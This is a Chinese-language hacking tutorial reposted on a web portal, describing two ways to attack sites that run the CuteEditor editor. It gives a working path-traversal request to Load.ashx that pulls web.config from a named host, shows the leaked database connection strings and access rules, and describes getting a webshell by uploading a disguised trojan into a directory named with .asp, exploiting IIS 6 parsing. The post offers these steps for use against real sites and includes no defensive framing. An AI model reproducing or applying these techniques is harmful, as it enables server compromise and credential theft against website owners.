你的位置:聚盟网 >> 网络学院 >> 技巧 >> 详细内容 在线投稿

cuteeditor编辑器利用方法两则

www.juoooo.com  2011年11月16日07:53  来源: 互联网   查看:   我要评论(0)  收藏  字号: TTT

方法1.直接下载load.ashx配置文件
http://www.badguest.cn /CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../web.config
然后查看一些sql配置信息 从sql数据库连接入手
<connectionStrings>
<add name=”ynncConnectionString” connectionString=”Server=.;DataBase=ynta; UID=sa;PWD=”/>
<add name=”strConn” connectionString=”Server=.;DataBase=ynta; UID=sa;PWD=”/>
</connectionStrings>
<location path=”admin/images”>
<system.web>
<authorization>
<allow users=”?” roles=”Admin,Manager,User”/>
</authorization>
</system.web>
</location>
<location path=”admin”>
<system.web>
<authorization>
<deny users=”?” roles=”Admin,Manager,User”/>
<allow users=”*”/>
</authorization>
</system.web>
</location>
<location path=”admin/YNTA_UpFile”>
<system.web>
<authorization>
<allow users=”?” roles=”Admin,Manager,User”/>
</authorization>
</system.web>
</location>
<location path=”admin/flv”>
<system.web>
<authorization>
<allow users=”?” roles=”Admin,Manager,User”/>
</authorization>
</system.web>
</location>
方法2.2003 iis解析(后台拿webshell)
填加新闻–上传音乐,视频等图标—新建目录xx.asp 然后上传小马x.avi
图片方面因为格式检查严格~!不成功~求突破。

本文来自: 雪域博客

编辑: 伊小露
分享到:
顶:76 踩:76
【已经有456人表态】
68票
超赞
46票
震惊
51票
不解
69票
愤怒
52票
支持
53票
高兴
63票
无聊
54票
杯具
下一篇:utf-7 bom后续
发表评论

网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

查看全部回复【已有0位网友发表了看法】